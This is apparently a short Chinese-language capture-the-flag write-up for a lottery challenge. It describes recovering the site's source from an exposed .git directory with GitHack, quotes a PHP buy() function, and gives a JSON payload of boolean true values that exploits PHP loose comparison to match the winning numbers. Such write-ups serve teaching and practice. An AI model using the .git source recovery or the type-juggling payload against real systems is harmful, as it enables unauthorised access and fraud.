首先 訪問 /robots.txt 或者 /.git/ 發現 Git 倉庫可以 GitHack 拿到源碼
源碼鏈接:https://pan.baidu.com/s/1GJgmQ5xH4OGglypAtKHOIA
提取碼:km6j
漏洞在 api.php
function buy($req){
? ? require_registered();
? ? require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
? ? if($numbers[$i] == $win_numbers[$i]){
? ? ? ? $same_count++;
? ? }
}
其中$numbers來自用戶json輸入{"action":"buy","numbers":"1122334"},沒有檢查數據類型。$win_numbers是隨機生成的數字字符串。
使用 PHP 弱類型松散比較,以"1"為例,和TRUE,1,"1"相等。 由于 json 支持布爾型數據,因此可以抓包改包,發送:
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
當每一位中獎號碼都不是0時即可中最高獎,攢錢買flag。?